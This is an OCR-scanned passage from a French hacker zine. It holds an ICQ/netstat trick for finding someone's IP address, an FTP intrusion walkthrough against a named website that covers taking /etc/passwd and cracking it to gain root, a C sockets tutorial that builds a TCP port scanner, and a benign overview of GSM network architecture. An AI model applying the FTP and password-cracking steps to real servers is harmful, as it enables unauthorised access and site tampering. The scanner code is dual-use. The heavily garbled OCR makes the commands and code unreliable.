connecté a icq (logique). Bon quand vous voyez votre pote
connecté 4 icq, éteignez votre icq et entrez (dans le DOS) la com-
mande :nelstat—puis rallumez Sminaprés votre icq etenvoyezun mes-
sage 4 votre pote. Ensuite y a plus qu’a refaire netstat—i et une ip a
du apparaitre avec un port du genre 5190 ou 5191 (y en a plein
mais ¢’est les plus courants). Son ip apparaitra dans la partie
Adresse distante sous la forme 172.183.68.46 : 5190 (décidé-
ment ces zaoliens y sont partout)

Le protocole FTP :
Nom de commande utile : ftp —n et plein d’autres.

Voyons comment hacker par FTP. Mais ne vous faites pas d’illu-
sions cette technique ne marche a peu prés que sur 1 serveur sur
100.000 (et encore). Mais qui sais peut &tre que si vous avez déja
gagnez au loto... vous trouverez un serveur non sécurisé. De
toute fagon nous c’est la technique qu’on veut-¢’est pas les pra-
tiques illégales qu’on peut faire avec ;)

Pour hacker un site par FTP, nous allons ouvrir 'url concerné,
puis passer le login. .. sans login, puis passer le pass. .. sans pass.

Exemple : C:\WINDOWS>1tp —n

fip> open www.dmpfrance.com : /farl. ... e loule fagon ¢
marche pas

Connecté & www.dmplrance.com.

220 www.dmpirance.com FTP server reatly

> fuote. user fip //entrer quote user fiy
331 Guest Iogin ok, send your complete e-mail address as password.

ftp> quote cwd ~Poot //eateer guote cwd ~root
530 Please login with user and piass. ;

f> quote pass flp //entrer quote pass fip
230 Guest login ok, access restriction apply

fp>

11

111
<
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Le probléme ¢’est que vous serez logué sur le site mais pas en tant
que root donc vous n’aurez pas toutes les possibilités. Pour étre
logé en tant que root remplacez au début : fip> open www.dmpirance.com
fiar ftp> ojen &quot ;open www.dmpirance.comEguot; mais la faut plus de
chance qu’au loto !

Bon maintenant que vous 8tes logé sur le site (en tant que root

. ounon) voyons les commandesftp qui vont nous permettre de modi-

fier le site (petit rappel car tout le monde n’a pas hzy #1).
kdir : créer un répertoire

rmdir : supprimer un répertoire

pwd : se repérer sur le disque

cd : aller dans un répertoire

“dir : voir le contenue de la racine ou du répertoire ou ’on se

trouve, Pour différencier un fichier d’unrépertoire, regardezle pre-
mier caractére qui est soir une lettre (répertoire) soir [-] (fichier).

. ¢d / :revenir a la racine du répertoire

cd .. :revenir au répertoire précédent

del : supprimer un fichier

get : prendre un fichier pour le mettre sur le bureau

put : mettre un fichier de votre bureau sur le seryeur

ascii : passe la connection en mode ascii

binary : passe la connection en mode binaire

system: trouver la version dudemonetle typed’OSsouslequel tour-
ne le serveur

open : établir une connection avec un serveur distant .

quit : se déconnecter du serveur distant

Entrez les commandes comme ¢a :

fip=>get pass.lil //c’est seulement un exemple !

Cherchons maintenant le pass du root pour obtenir tous les pou-
voirs (saufsi vous avez déja gagneé 3 ou 4 fois le pactole). Le
fichier contenant les pass se nomme généralement " passwd " et
se situe dans le rép /etc/passwd. Siil y est pas cherchez mais il est
toujours facilement accessible. Quand vous avez obtenue le
fichier de pass il suffit de le décrypter avee un brute force mais si
il est shadow (en étoile koi) y a plus qu’a vérifier 'OS utilisé par
le serveur pour utiliser le bon password cracker.

PassRetrieve_00
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RACCOMMODE TES SOCKETS

... comme ca tu pourras essayer notre scanner de port

Gette article est le premier d'une suite qui
aura pour theme la programmation réseau en
langage C sous unix, et ses applications dans
le domaine de la sécurité info évidement.lls'adres-
-seades personnes ayant un minimum de connais-
sance dans le domaine de la programmation
en langage C et des réseaux. Si j'al choisi de
faire cette article ¢'est parce gue je trouve
qu'il est intéressant de savoir comment mar-
chent tous les outils que sont les scanners,
les sniffers etc. Et apres vous pourrezaller vous
la péter sur IRC (J'ai codé un scan je suis
trop fort !1). Toutefois, nous allons commen-
cer a la base (Et oul ! Désolé pour les 1337),
enprésentant les rudiments et en programmant
un petit scanner de ports trés simple. Nous
ne nous pencherons pas pour le moment sur
laprogrammation de socket de type raw(Résenr-
Vé aux vrais leets;), permettant de forger ses
propres packets a I'état brut au niveau de la
couche IP (Utilisé pour le spoofing par exemple)
mais nécessitant une honne connaissance des
1 RFCs et des connaissances en programmation
plus avancées. Bien, sur ce, mettons nous au tra-
vail! Alors pour commencer: installer vous confor-
tablement dans votre siége, booter sur votre
distributeur préfére (Un unix évidement), allu-
mezvous une clope, mettezle HZV sur vos genoux

et appliquer: (C'est pas dur 1), . I

Les sockets :

Le concept de base d'une socket est le suivant : C'est une API
(Application Program Interface) qui va permettre le transfert de
données entre 2 processus ( distants ou non, nous verrons ¢a plus
loin). Donepour communiquer, nousallons devoir créer, dans notre
cas, un socket sur le client et tenter de nous connecter & un socket
sur le serveur, et ¢'est en écrivant dans cette socket que nos appli-
cations respectives vont pouvoir communiquer, .

En langage C, la création d'une socket se présente sous cette forme :

inlt socket(int domain, int type, int protocol);

Vous pouvez co_ilstater qu'unesocket est définiepar 3 éléments. Nous
allons les détailler :
domain : Il s'agit du domaine d'adressage de la socket.
On pourra distinguer les deux options,
principales(Il y en a d'autre) :

- AF_INET : Internet .C'est celle qui nous
intéresse. '
- AF_UNIX : Unix.(Pour la communica-
tion inter-processus.)

11 s'agit du type de socket, c'est 4 direla
maniére dont elle va transmettre les données,
Ses valeurs possibles sont pour les modes :

type:

Direct Protocole:  SOCK_RAW (Pour les 1337, c'est pour
éerire directement ses paquets IP).
Mode non-connecté : SOCK_DGRAM

Mode connecté ; SOCK_STREAM

(Il'y en a d'autres mais elles ne sont pas intéressantes & notre niveau.)

Comme son nom l'indique, il va définir le
type de protocole de la socket(A noter que
les socket AF_UNIX n'en ont pas).

protocol :

JAIRNIENRE:
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Ses options sont les suivantes :

0: ~ VYous laissez au systeme le choix de déter-
miner le protocole. Par défaut, il choisira
le TCP pour le mode connecté et UDP
pour le non connecté. Logique non ?
Pour le protocole UDP

Pour le protocole TCP

[PPROTO_UDP :-
IPPROTO_TCP :

(Il y en a d'autres, mais pareil ! Ca ne nous intéresse pas.)

Nous avons définie ce qu'étais une socket. Voici un exemple de

socket possible :
Ex : MaSocket = socket(AF_INETSOCK . STREAN,0)

Voici une socket internet en mode connecté, avec le protocole
TCP(choisi par défault par lesystem pour un type SOCK_STREAM).

Note : Bien que nous ne nous en servirons pas ici, il est bon de
savoir quecessockets peuventétreparametré graced lafonction set-
sockopt, toutefois nous n'en avons pas besoins.

Ca y est ! Nous savons maintenant créer des sockets. OUHAOU !
Bon, ben voila, on a une socket toute belle, mais maintenant il
faut bien la connecter 4 quelque chose !!

Ce quelque chose est bien c'est une socket distante | Maintenant
une chose s'impose pour pouvoir connecter notre socket a une
autre socket distante : une adresse bien évidemment !

EnC, cetteadresseserareprésentée parunestructure, lastructuresoc-
kaddr (SOCket ADDResse pour les glandus ;).La structure soc-
kaddr est une structure générique pour tout les types de soclket,
nous allons done en utiliser une autre, plus particuliére c'est 4 dire
la structure sockaddr_in( in pour INternet) spécifique pour I'IPv4
( Pour IPv6 c'est sockaddr . in6, mais on en est pas 14 !).

Bien penchons nous désormais sur la définition de cette structure :

struct sockaddr_in{

shont sin_family;
11 shont sin_port;
structin_addr sin_addr;
char Sin- zerof8];

7
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Présentons maintenant cette structure.

sin_family : Il va représenter la famille d'adressage de

la socket (AF_UNIX, AF_INETetc...).

sin_port: Tout bétement le numéro de port ou elle
ecoute.(En format réseau attention !!!).
sin_addr Va représenter l'adresse ip de la machine

ou l'on veut connecter notre socket.(For-
mat réseau la aussi : une ip et pas une
dns!!!). ;
sin_zero[8] : Casert a rien ca ! Alors on l'oublie.
Voyons un exemple : :
L'initialisation de notre structure s'effectuera comme ceci :

struct sockadde _in addrSock;
addrSock.sin_family = AF_INET,

addrSock.sin_port = tons(monPort);

addrSock.sin_addr = *(Struct in_addr ) serveur->h_addr;

Et la je sais ce que vous allez me dire : "Putain, bordel, on com-
prendked! Clest quoi htonset *(structin_addr*)serveur->h_addr ?"
Ne vous inquietez pas, vous allez comprendre.
Onutiliselafonction htons(Host TO Network), pour convertir notre
numéro de port au format réseau.

"Bon, la longue lighe qui nous saoule maintenant cest quoi "
Ca vous allez le voir avec 'étude de la structure suivante.(Un peu
de patience allons ...).

C'est bien beau d'avoir l'adresse de notre socket de connexion,
mais il faudrait peut étre savoir ou elle se trouve !!

Ca, on va le faire grice a la structure hostent. Cette structure va
contenir les informations relatives a la machine(I'host) ol se
trouve le socket sur lequel on désire se connecter. Et ben allez !
Clest reparti pour la présentation de cette structure.

Elle se présente sous la forme :

struct hostent{ :
char *h_name; : )
chiar **h_aliases;
Inth_addrtype;
int _lenght;
char **h_adde _list;
I
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Voici 4 quoi correspondent ces éléments :

h_name: Host_NAME, vous m'avez compris, il
s'agit d'une chaine de caractére représen-
tant le nom de la machine.

h_aliases : I1s"agit d'un tableau de chaines, qui
contient les éventuels alias de la machine.

h_addrtype: 11 s'agit du type d'adresse de I'host (IPv4
ou [Pv6).

h_lenght : Représente la longueur de I'adresse.
Représente un tableau contenant la liste

h_addr. list ;
B, W des adresses de cet host.

(Ca s'éclaircit j'esperes??

Vous comprenez maintenant que le serveur->h_addr va repreé-
senter l'adresse du host.

Pour récupérer les informations sur notre host maintenant, nous
allons utiliser la fonction gethostbyname().(Comprendre : Récu-
pérer les infos gréce au nom de la machine. )

Cette fonction se présente comme suit :
sinuct hostent *getiostiyname(corst char “name);

Elle renvoit un pointeur sur une structure de type hostent (voir
. plushaut). ... v '

L'utilisation decettefonction peut donc étreutilisee commesuit par
exefiplfe 8" & - ,

 gtruct ostent monost;
nHost=getfosthyname(nomDeLaMachine);

Cettefonction vadoneutiliser lenom delamachine, pour récupérer
les infos sur notre host. = ;
Nous Savons maintenant créer une socket, I'adresser une socket
distante et récuperer des infos sur les hosts.

Nous avons maintenant tout ce qu'il nous faut ! Plus qu'a
connecter notre socket !

Et'bien pour cela, on va utiliserJa fonction connect.

ot comeci SO, At gk *se_ i, Socken_ adiven

Comme vous pouvez le constater, cette fonction prend pour .

arguments :

‘ s e PR

sockfd : C'est le nom de notre socket.
struct sockaddr *serv_addr:  Clest un pointeur vers une strucure de
type sockaddr. (Notre adresse de socket).

C'est la taille de notre structure soc-
kaddr.

socklent_t addrlen :

Elle va renvoyer une valeur >= 0 i la connexion est réussie, gt
une adresse < 0 si c'est raté ! (logique)

Lafonction qui permet de fermer lesocket est close(nomDuSocket);
Nous avons tout ce dont nous avons besoin ! C'est parti CoDiNg
PoW45))))

Pour illustrer ce cours, nous allons coder un petit scanner de
portsenmode connecté tout béte. Pour cela, il faut comprendre com-
ment cela fonctionne. :

Alors un scanner de port ¢a marche comment ?

Et bien, c'est facile ! En fait les différents services qui tournent
surunserveur, nesont autresque desapplications ayant générées des

- sockets en attentes. De plus chaque socket est associé a un numé-

ro de port. Il ne nous reste plus qu'a tester si la connexion  ces
différents sockets marche ou pas, si ¢'est le cas, le port est ouvert,
sinon il est fermé. Ainsi pour notre scanner, nous allons tester
tous les ports souhaités en tentant une connexion au socket.
Pour se faire, nous allons créer un socket sur notre machine, et
tenter successivement de le connecter a tous les ports. Pour se
faire, nous allons utiliser la fonction connect(voir plus haut), en
changeant le numéro de port a chaque fois. On sait que si connect
renvoie une valeur >= 0, la connexion est réussie ( et donc le
port ouvert), sinon la connexion a échouée et le port est ferme !
On va donc se servir de ga pour scanner les ports ! Mouarf

Voici le code source du HZV scann, avec le détails des explications :
/* Hrwscann.c codé par ReDiLs pour Hackerz Voice */

#include <stdio.h>
Hinclude <sys/socketh>
Hinclude <sys/types. >
#nclude <netdb.h>

/* Connexion sur un port TCP 11/
/* Pan soucis de simplicitd et de place, les erpeurs éventuelles ne sont pag traitées
*/
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FONCTION SCANN

Argument : : :
serveurName -> chaine de charactéres représentant le nom du serveur a scanner
nbrPorts -> Entier représentant le nombre de ports a scanner

4
int scann(char serveurName[], int nbrPorts) e //Déclaration de la fonction scann
struct sockaddr_in addrSocket; s Il Déciaration delastructuresockaddr, nomméaddr-
/ : Socket (pour addresse Socket ;)
struct hostent *serveur; //Déclaration du pointeur serveur sur une struc-
: : ture de type hostent.
int fd,i,portsOuverts=0; ! //Declaration des variables.(fd pour lasocket, ipour
: le compteur du for, portsOuverts pour le nombre
‘ de ports ouverts).
f serveur=gethostbyname(serveurName); : //Récupération desinformationsdu hostpar la fonc-
‘ tion gethostbyname(voir plus haut). ;
addrSocket.sin_family=AF_INET; /Mnitialisation de la structure sockaddr
( addrSocket.sin_addr="*(struct in_addr *) serveur->h_addr; " [{Affectation de 'adresse de la socket
; - printf("Scann sur : %s\n" serveur->h_name); { ; //Affichage du nom ded'host contenu dans notre
% j structure hostent pointée par serveur
| for(i=1;i<=nbrPorts;i++) //Début de la boucle for ot seul le numéro de
; port va changer
| {
‘ fd=socket(AF_INET,SOCK_STREAM,0); /[Création de la socket de connexion
addrSocket.sin_port=htons(i); : s //nitialisation du numéro de port passé en for-
mat réseau par la fonction htons(la aussi voir
8 : plus haut.)
if(connect(fd, (struct sockaddr *)&addrSocket, sizeof addrSocket)>=0) //Test si la connexion au socket est réussie
portsOuverts++; : //Incrémente le nombre de ports ouverts
printf("Le port %d est ouvert "\n",i); ‘ // Affiche le numéro du port ouvert
close(fd); | //Ferme la socket
return (portsOuverts); ' : //Renvoie a la fonction main le nombre de ports
ouverts
'
int main()
char *serveurName; //Déclaration des variables
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int nbrPorts,PortsQuverts; ' . «~ffserveurName pour le nom du serveur. PortsOu-
verts pour le nombre de ports ouverts
printf("\n***\nHZV Scann Version 1.0\n ==CoDeD bY ReDiLs=- \n**\n\n"); //Sans commentaires
. printf("Entrez I'adresse du serveur a scanner : "); :

scanf("%s" serveurName); f/Récupération du nom du serveur
printf("\nEntrez le nombre de ports & scariner (max 65535) : ");

scanf("%d" ,&nbrPorts); f/Récuperation du nombre de ports & scanner
while(nbrPorts<=0 || nbrPorts> 65535) /[Test si le nombre de ports saisi est correct

//Sinon, redemande une saisie
printf("Le nombre de ports entré est invalide !! Recommencer : ");
scanf{"%d",&nbrPorts);
} >

printf("\nScann encours, veuillez patienter ....\n");

PortsOuverts=scann(serveurName,nbrPorts); //Appel de la fonction scann qui va afficher les
0 : portsouvertset renvoyer lenombrede ports ouverts

printf("\n\n-=Scann terminé=-\nNombre de ports ouverts : %d\nNombre de ports scannés : %d\n",PortsOuverts,nbrPorts):

return 0;

}

Note : Les variables utilisées dans ce code sont certes longues, mais je les ai fais de la facon la plus explicite possible afin que vous com-
preniez ce qu'elle représente. De plus les commentaires sont parfois simplifiés, mais vous devez avoir compris les bases expliquées plus
haut pour comprendre ce code.

Explications suppiémentaires : :

La fonction main est chargée de récupérer le nom du serveur a scanner, ainsi que le nombre de ports souhaité, elle fait ensuite appel

a la fonction scann, puis elle affiche un bilan globale du scann. £ :

On a déclaré une fonction scann qui sera chargée de scanner les ports un par un grace a I'appel de la fonction connect.Le nom de la
machine a scanner, ainsi que le nombre de ports a scanner sont passés en argument a la fonction scann.

Elle se déroule en deux temps, récupération des infos sur le host puis balayage des ports.

Pour I'instant, nous nous sommes contenté de tester des connexions sur des sockets distants, nous verrons plus tards comment il est
possible d'écriredans cessockets, et deréaliserdesapplications communiquantes. Mais pour celail faut déja avoir bien compriscecour. Voila,
un petit gee Hzvscann.c -o Hzvscann et le tour est joué. Finis d'utiliser les scanns des autres vous avez maintenant le votre. C'est parti
les H4X03, a vous de jouer !! ;] : ;

Ce scanner est relativement simple, mais n'hésitez pas a y apporter des changements pour I'optimiser. De plus il sera détecté par tous les
FireWall. Nous verrons plus tard, qu'il est possible de récupérer des banniéres et de faire pleins d'autres choses marrantes.

Conclusion : J'espéres que cet article vous aura plus et que vous aurez appris des choses. Sinon il y a toujours les manpages qui sont
teés instructives siil y a des structures ou des fonctions que vous avez du mal & cerner. Si quelquechose reste obscure dans votre esprit,
si vous pensez que cet article n'a pas lieu d'étre, si vous avez une idée de ce que vous aimeriez voir traiter sur la prog réseau dans mon
prochain article ou encore si vous trouvez que j'expliques comme une merde ( Ou alors que j'explique bien, ca fais plaisir aussi) alors
i'hésitez pas 4 me mailer ( redils@netcourrier.com)

PS : Spécial Greetz to UzY (merci d'étre aussi sympa ;) =ReDiLs=
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Salut  fous ! lecleurs de HIV et des manugls, voici ma premidre
contribution au journal, je vous ai concocté un pefit article sur les Peseaux
de t¢lephones portables et la norme GH.

Intro :

Tous les téléphones portables que vous utilisez en ce moment uti-
lisent cettenorme GSMdoncilest trésimportant de bien la connaitre,
¢'est griceaelle que vous pouvezappeler et vous connecter sur Inter-
net avec le WAP. Donc situons cette norme, elle fut créée en
1982, et oui cafait longtemps déja, ¢’estla CEPT (Conférences Euro-
péennes des Postes et Télecommunications) qui a défini pour la
premiére fois une bande fréquence commune & toute I'Europe,
900 MHz. C’est avec cette bande de fréquence que la norme GSM
(Groupe Spécial Mobiles) fut définieafin de créer unsystéme decom-
munication européen avec les téléphones mobiles. Puisen 1990, pour
I'Europe, futattribuée une nouvellebande defréquence 1800 MHz.
De nos jours nous sommes encore a ce stade, avec 2 bandes de fré-
quence : 900 MHz et 1800 MHz.

Lutilisation du GSM :

La norme GSM décrit des systémes numériques de communica-
tion avec des téléphones mobiles. Pour communiquer le télépho-
ne a besoin de 2 parties majeures :

©® ['équipement mobile qui permet au téléphone de communi-
quer avec le réseau. ;

® La carte SIM (Subscriver [dentification Module), qui dans le
cas d’un télephone portable contient les informations person-
nelles de I'utilisateur et ses droits.

L'équipement d'un réseau GSM :

Un réseau de type GSM a besoin de 6 principaux équipements

qui vont servir, dans l'ordre, a assurer une couverture radioélec-
trique du réseau, assurer la communication et I'exploitation,
l'interconnexion, 4 gérer des bases de données, a localiser I'utili-
sateur. Nous allons voir plus en détail chacun des ces équipe-
ments afin de mieux comprendre I'acheminement de nos chéres

a) La station de base BTS (Base Trans-
celver Station) :

Les territoires sont découpés en de nombreuses parties, les cellules.
A chaque cellule correspond une station de base BTS. La station est
utilisée pour fournir des points d'entrée aux communications des
utilisateurs ; ce type de station assure une couverture radioélectrique
d'une cellule entiére. La taille des cellules est trés variable selon si on
est dans une zone urbaine ou rurale (plus la densité de population
est grande plus les cellules sont petites, minimum 200m, et si la den-
sité de population est trés faible la zone couverte par une cellule aug-
mente jusqu'a 30Km). En effet les stations de base BTS ne peuvent
gérer que 8 communications en méme temps, car la technique de
multiplexage AMRT a une limite de 8.0n reverra plus tard quels
sont les points de sécurité engendrés par ces stations.

b) Le contrbleur de stations de base
BSC (Base Station Controller) :

Le contrdleur de station de base sert a la connexion entre plu-
sieurs stations de base, dans un sens le controleur indique a une
station de base 'arrivée d'un nouvel utilisateur et dans l'autre
sensilindique alabasede données HLR lanouvelle position del'uti-
lisateur, Car 4 chaque fois que I'on s'appréte a changer de cellule
les informations de notre carte SIM sont envoyées & la base de
donnée HLR avec notre future station de base.

¢) Le commutateur MSC (Mobile Switching
Center) )

La principale utilisation du commutateur MSC est d'assurer l'inter-
connexion entre le réseau radio télephonique et le réseau de télépho-
ne public filaire. Mais c'est aussi lui qui gére tous les services tels que
les messageries, les envois de SMS. En plus de cela il fournit un accés
aux bases de données du réseau pour vérifier les droits des utilisa-
teurs, il participe aussi & la gestion des deplacements des abonnés.

d ) L'enregistreur de localisation nomi-

nal HLR (Home Location Register) :
L'enregistreur de localisation nominale est une base de données
qui stocke des informations & propos des abonnés au réseau.

ALLEZ I \/A
NS TonN

communications téléphoniques.
Sﬁ\

RENTRE IC] v
ET-TIENSToi
TRANQUILLE




nize hors série / n° 4

Le manuel de /7

Selon les Fournisseurs d'Acees, il peut-y avoir plusieurs HLR ou
un seul, cela dépend des machines, de leur espace disponible, en
fait de I'investissement du fournisseur, Cette base de données trés
importante géreen permanencesles lieux etinformations principales
d'un utilisateur, tels que sa position, I'état de son téléphone (allu-
mé, éteint, en communication...).Le HLR différencie les Termi-
naux (Le Téléphone en lui-méme) et les utilisateurs (carte SIM),
car si on met sa carte SIM dans le téléphone d'un autre il faut bien
quecesoitlepropriétairedelacarte SIM qui paieet non le propriétaire
du téléphone. Le HLR enregistre les principales informations de
la carte SIM telles que le numéro privé de l'utilisateur (celui ci est
crypté et ne peut étre décrypté que par le HLR), des parties de son
répertoire... La base de donnée de 'HLR contient toutes les
informations sur tous les utilisateurs, leur abonnement, leur
temps de communication, leur dernier emplacement...

e) Le centro‘ d'authentification AUC
(AUthentication Center) ¢

. . s ¥ 5
Le centre d'authentification est aussi une base de donnee, celle-ci
est utilisée pour identifier les utilisateurs et éviter les fraudes.
Dans cette base de donnée sont eritegistrés tous les numéros
d'abonnement des utilisateurset leursdroits, afin qu’a tout moment
1'Opérateur soit au courant de I'état de la facture de n'importe
quel utilisateur. En effet le réseau de téléphone portable est rela-
tivementbien sécurisé par plusieursprotections. La premiéreest lors
de l'allumage de notre terminal et I'entrée du code PIN, qui est
comparée avec celui enregistré sur la carte SIM. Puis pour
chaque demande de service au réseau, 1'utilisateur doit s'identi-
fier au prés du AUC en envoyant son numéro d'abonnement qui
est ensuite vérifié par rapport aux droits de I'ntilisateur par le
AUC. Une fois cette vérification terminée, le réseau demande un
résultat obtenu grce d un algorithme secret, le résultat est

ensuite envoyé puis vérifié, du Terminal jusgu'au AUC sans

jamais faire passer l'algorithme sur le réseau pour des questions
de sécurité. Toutes ces protections sont indispensables car le sys-
teme employé par les Opérateurs est que I'utilisateur ne peut pas
contester sa facture, donc les risques de fraudes doivent étre
minimums, (mais qu’en est-il vraiment ? ... ;)

f) L'enregistreur de localisation des visi-

teurs VLR (Visitor Location Register) :
L'enregistreur delocalisation des visiteurs VLR est unebase de don-
néeassociée au commutateur MSC afin de recevoir et d'enregis-
trer en permanence et de maniére dynamique tout les déplacements
de l'utilisateur. Le VLR tient une place importante dans le
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réseau car c'est lui qui indique ot se situe un terminal et qui
signale quand celui-ci va devoir changer de BTS. A chaque utili-
sateur est associé un identifiant afin que les informations de la
communication aillent bien d'un terminal & un autre.

Le Transit des appels :
Il faut différencier les appels d’un abonné au réseau GSM vers un
du RNIS, de 'appel d’un abonné du réseau RNIS vers un du GSM.

Dans le premier cas, I’abonné compose le numéro de telephone de

soninterlocuteur,sademandearriveau BTS puisvaauBSC, ilestalors
identifiéetsesdroitssont vérifiésauniveau du commutateur MSC puis
sa demande arrive au'réseau public. Celui-ci demande a un BSC de
réserveruncanal pour quelafuture communicationsoit possible. Une
foisquel’interlocuteuradécrochélacommunication est enfin établie,
Dans le 2™ cas, il y a encore plus d’étapes ! Aprés la composition
dunuméro, la demandeest envoyée vers lecommutateur dont dépend
Iutilisateur du réseau, puis cette demande est expédiée au réseau
GSM qui interroge le HLR afin de vérifier I’existenee et de loca-

« liser I'utilisateur demandé. Lorsque que I'interlocuteur est libre

le réseau interroge le VLR pour savoir dans quelle cellule et done
vers quelle BSC la demande doit étre envoyée. Une fois I’interlo-
cuteur joint, et libre, le BSC de la zone enyoie un signal a tous
les terminaux de sa zone avec le numéro demandé. Dés que le ter-
minal contenant la carte SIM appropriée au numéro décroche, la
communication est établie.

@) Le centre d'exploitation et de main-
tenance OMC :
Le centre d’exploitation et de maintenance est la partie du réseau
des opérateurs qui gére les problémes techniques et la gestion
administrative. La partie de la gestion administrative est en
contact avec la base de donnée HLR, ¢’est elle qui gére la factu-
ration, les changements d’abonnements ...En ce qui concerne la
gestion des problémes technique 'OMC sert a repérer les dys-
fonctionnements dans le réseau, a gérer les mises a jour logiciels

et’les probléemes de sécurité et de performances du réseau.

Voild pour ce qui concerne la partie physique du réseau on va
maintenant voir la partie de:la communication entre les termi-

-naux et les centres opérateurs.

¥

La transmission Radio du GSM :

Comme dans tous les types de réseaux (RNIS & GSM) les opéra-
teurs utilisent différentes techniques de multiplexage (c’est ce qui
sert a utiliser une méme ligne pour faire passer plusieurs commu-
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nications). Il existe plusieurs techniques de multiplexage mais
dans le réseau GSM, les opérateurs n’utilisent que le multiplexa-

ge de fréquence et le multiplexage temporel :

Le multiplexage par division de fréquence
(FDMW) : :

Le multiplexage fréquentiel FDM divise en 124 canaux de ¢
200 kHzde large chacun, lesdeux plages defréquences (890-915 MHz),

du terminal vers la station de base ef (935-960 MHz) de la station
de base vers le terminal, pour offrir 124 voies de communication

" duplex en paralléle (écart duplex 45 MHz en 900 MHz, 75 MHz

en 1800 MHz). Lemultiplexage fréquentiel est défini sur deux bandes :
900 MHz pour le GSM et 1800 MHz pour le DCS. :

Le multiplexage par division de temps (TDM) :

Le TDM a 2 avantages principaux par rapport au FDM :

- Il est bien plus efficace.

- I1 est capable de faire transiter des signaux numériques.

Au lieu de diviser la bande passante en segments de fréquences,
cette derniére est divisée en intervalle de temps, appelés slots.

Le multiplexage par division statistique du temps ( STDM), il
s'apparente au TDM, hormis que lorsqu'il n'y a pas de données a
transmettre, il ne transmet pas. ;-)

Lemultiplexage temporel TDM partage 'usage d'une voiede trans-
mission entre 8 communications differentes. Une trame se divise
en 8 intervalles temporels d'une durée de 577 ps. Chaque inter-
valle constitue un canal de communication dans lequel un messa-
geélémentaire appelé paquetest transmis périodiquement. Ce paquet
est un ensemble structuré de bis.

Les couches :

La transmission radio du GSM est définie par I’OSI (Open Sys-
tem Interconnect) quidefinit les 7 couches de fonctionnalité du réseau
GSM. ga ne vous rappelle rien ? Si si, pour les réseaux d’ordina-
teurs ¢’est pareil ! : '

. La couche physique.

. La couche de liaison de données.

. La couche réseau.

. La couche transport.

. La couche session.

. La couche présentation.

. La couche application.

NN =
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La couche physique : Cette couche comprend tous les

moyens physique d’émission et de réception radio du réseau

GSM, pour cette interface radio GSM, elle assure le codage cor-

recteur d’erreurs, et le multiplexage des canaux logiques. Les

principaux canaux logiques présents sont :

@ Les canaux de trafic (TCH pour Traffic Channel Full) qui
sont utilisés dans le cas de téléphones portable comme moyen
de transport de la voix. : :

® Les canaux de signalisations dédiés (SDCCH pour Stand
alone Dedicated Control CHannel).

® Lescanaux de contrdlecommuns (CCCH pour Common Control
CHannel). :

@ L escanaux de ‘broadcast’ (BCCH pour Broadcast Control CHan-
nel).

La couche physique est aussi un moment important dans I’envoi
de données car ¢’est 4 ce moment-1a que [’on décide du type de
transmission (synchrone ou asynchrone), le débit du canal de
transmission, le mode de transmission (analogique ou numeé-
rique), le type de codage pour la transmission, et le type de dia-
logue (point a point ou point-multipoint). La couche physique
échange ses données avee la couche de liaison de données.

La couche de liaison de données : Cette coucheregoit
les trames envoyées par la couche physique puis les transforme en

* paquets, ce systéme permet d’éviter des erreurs d’envoi de données.

Cettecouchedétecteleserreursaumomentdela transformation, c’est
[utilisateur du réseau qui définit le taux minimum d’erreur.

La couche réseau : Cette couche est utilisée pour gérer (éta-
blir, maintenir, libérer) les liens utilises pour les transmissions.
La couche réseau peut étre divisée en 3 sous-couches.

@ Ressource radio (RR pour Radio Ressource).

La couche RR est composée aussi de sous-couches, qui servent 4
alouer, relacheretsuperyiser lescanaux radio. Cettesous-coucheest
aussi utilisee pour I’'envoi de mesures par lastation mobile et les pro-
céduresdechangements decellulesdel’utilisateur, elle gérele dépla-
cement de I'utilisateur lorsque le terminal est en mode veille, elle
gére aussi la procédure de chiffrement pour la séeurité du réseau.
® Gestion de la mobilité (MM pour Mobility Management).

La sous-couche MM est utilisée en permanence pour situer un
terminal lorsque celui- ci est allumé, elle sert aussi a la sécurité *
de l'utilisateur en gérant ’authentification et I'identité de I'uti-
[isateur, enfin elle permet d’établir des connexions virtuelles uti-
lisées par la sous-couche CC.
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® Gestion des connexions (CM pour Connection Management).
Dans la sous-coucheé CM on peut voir plusieurs sous sous-
couches qui sont : :

= [ a gestion des services supplémentaires.

= [ ¢ service des messages courts, les SMS.

= Le control d’appel (CC pour Call Control).

La sous couche CC est utilisée pour établir et libérer des appels
entre 2 abonnés.

La couche transport : Cette couche est totalement invisible
pour lesutilisateurs vu qu’elle géreles échanges d’informationsentre
différentes entités du réseau, cette couche offre 5 classes de servi-
ce & la couche de session. Selon ses besoins les opérateurs opte-
ront pour une classe en particuliere, voila les 5 classes :

= Classe 0 : Ceserviceest le service de base pour une couche
de transport, cette classe verifie la présence d’erreurs mais elle ne
les corrige pas, elle est 1a pour répondre aux exigences des appli-
cations de Télétex.

= Classe 1 : Ceservice n'offre qu’une capacité réduite de
reprise sur erreurs. :

= Classe 2 : C’est grice a cette classe que I'on a le multi-
plexage de plusieurs connexions, ’opérateur peut lui demander
un contréle de flux mais il n’y a pas de mécanisme de reprise
suite 4 une erreur.

= Classe 3 : Cette classe regroupe en fait les actions de classe
1 et 2 ¢’est=a-dire qu’elle offre le multiplexage et la reprise d’er-
reurs signalées par fa couche réseau ainsi que le contréle de flux.
= Classe 4 : Cestcette couche qui posséde le plus d’actions
possibles, elle peut controler le flux de donnees, elle reprend les
erreurs, elle gére le multiplexage. -

La couche session : Cette couche gére la partie logiciel du
systéme, elle repose sur I’hypothese que le transport d’informa-
tion est parfait, ce n’est passonrole. Elle sert aussi a synchroni-
serledialogue entreles applications, et doitaussi controler lesservices
offerts par la couche de transport. A chaque connexion des
options sont accessible au niveau de cette couche, les voild :

= On peut définir la taille maximum des blocs de données.

= On peut aussi définir le type de dialogue des utilisateurs, la
qualité du son (Half Duplex, Full duplex )

La couche présentation : Cette couche gére la description des

données et sa syntaxe afin de structurer celle-ci. Elle utilise le langa-
- ge ASNA pour Abstract Syntax Notation One, pour négocier la

présentation des données applicatrices et pour la syntaxe d’échange.

La couche application :Cette couche est différente des
autres par le fait qu’elle ne s’occupe pas du transport des don-
nées mais de I'interface de communication pour I'utilisateur. Elle
définit les interactions entre Iutilisateur et le systeme de commu-
nication. :

Voild pour les 7 couches définit par I'ISO.Maintenant je pense
que vous connaissez les bases des réseaux téléphoniques portables
a travers cefte norme GSM encore en vigueur aujourd’hui, enfin
voilaunpetitschémareécapitulatifdel’architecture duréseau GSM.
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1y iy i 51
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\ /
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Maintenant on va voir non plus comment marche le GSM mais
questcequele GSMapporte, sesutilisations. .. Danslecasde téléphone
portable, les GSM offre 4 ses abonnés 3 types de services qui sont :

®- [ es services Supports.

